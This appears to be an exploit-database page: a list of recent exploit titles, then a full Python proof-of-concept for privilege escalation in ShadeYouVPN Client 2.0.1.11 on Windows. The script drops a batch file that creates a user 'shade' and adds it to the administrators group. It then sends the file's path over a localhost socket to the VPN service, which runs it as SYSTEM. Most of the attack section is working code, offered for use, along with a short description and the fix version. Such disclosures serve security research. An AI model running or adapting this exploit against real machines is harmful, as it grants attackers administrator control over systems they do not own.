2f4b2745b1
11 new exploits Linux Kernel 3.10.0 (CentOS7) - Denial of Service LG G4 - lgdrmserver Binder Service Multiple Race Conditions LG G4 - lghashstorageserver Directory Traversal LG G4 - Touchscreen Driver write_log Kernel Read/Write Google Android - Inter-process munmap in android.util.MemoryIntArray Google Android - android.util.MemoryIntArray Ashmem Race Conditions Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145) ShadeYouVPN Client 2.0.1.11 - Privilege Escalation ntfs-3g - Unsanitized modprobe Environment Privilege Escalation MLdonkey 2.9.7 - HTTP DOUBLE SLASH Arbitrary File Disclosure MLdonkey 2.9.7 - Arbitrary File Disclosure Mldonkey 2.5 -4 - Web Interface Error Message Cross-Site Scripting MLdonkey 2.5-4 - Cross-Site Scripting Piwik 2.14.0 / 2.16.0 / 2.17.1 / 3.0.1 - Superuser Plugin Upload (Metasploit) Joomla! Component NeoRecruit 1.4 - 'id' SQL Injection Joomla! Component NeoRecruit 1.4 - 'id' Parameter SQL Injection taifajobs 1.0 - (jobid) SQL Injection taifajobs 1.0 - 'jobid' Parameter SQL Injection Pyrophobia 2.1.3.1 - modules/out.php id Parameter Cross-Site Scripting Pyrophobia 2.1.3.1 - admin/index.php Multiple Parameter Traversal Arbitrary File Access Pyrophobia 2.1.3.1 - Cross-Site Scripting Pyrophobia 2.1.3.1 - Traversal Arbitrary File Access Itech B2B Script 4.29 - Multiple Vulnerabilities
39 lines
No EOL
1.1 KiB
Python
Executable file
39 lines
No EOL
1.1 KiB
Python
Executable file
# Exploit ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation
|
|
# Date: 14.02.2017
|
|
# Software Link: https://shadeyouvpn.com/
|
|
# Exploit Author: Kacper Szurek
|
|
# Contact: https://twitter.com/KacperSzurek
|
|
# Website: https://security.szurek.pl/
|
|
# Category: local
|
|
|
|
1. Description
|
|
|
|
`ShadeYou` service executes any file path send through socket without verification as SYSTEM user.
|
|
|
|
https://security.szurek.pl/shadeyouvpncom-client-v20111-for-windows-privilege-escalation.html
|
|
|
|
2. Proof of Concept
|
|
|
|
import socket
|
|
import tempfile
|
|
|
|
print "ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation"
|
|
print "by Kacper Szurek"
|
|
print "https://security.szurek.pl/"
|
|
print "https://twitter.com/KacperSzurek"
|
|
|
|
t = tempfile.TemporaryFile(delete=False, suffix='.bat')
|
|
t.write("net user shade /add\n")
|
|
t.write("net localgroup administrators shade /add")
|
|
t.close()
|
|
|
|
s = socket.socket()
|
|
s.connect(("127.0.0.1", 10295))
|
|
|
|
s.send("s||config|"+t.name+"|ccccc|ddddd|eeee|ffff|\r\n")
|
|
print s.recv(1024)
|
|
print s.recv(1024)
|
|
|
|
3. Solution
|
|
|
|
Update to version 2.0.1.12 |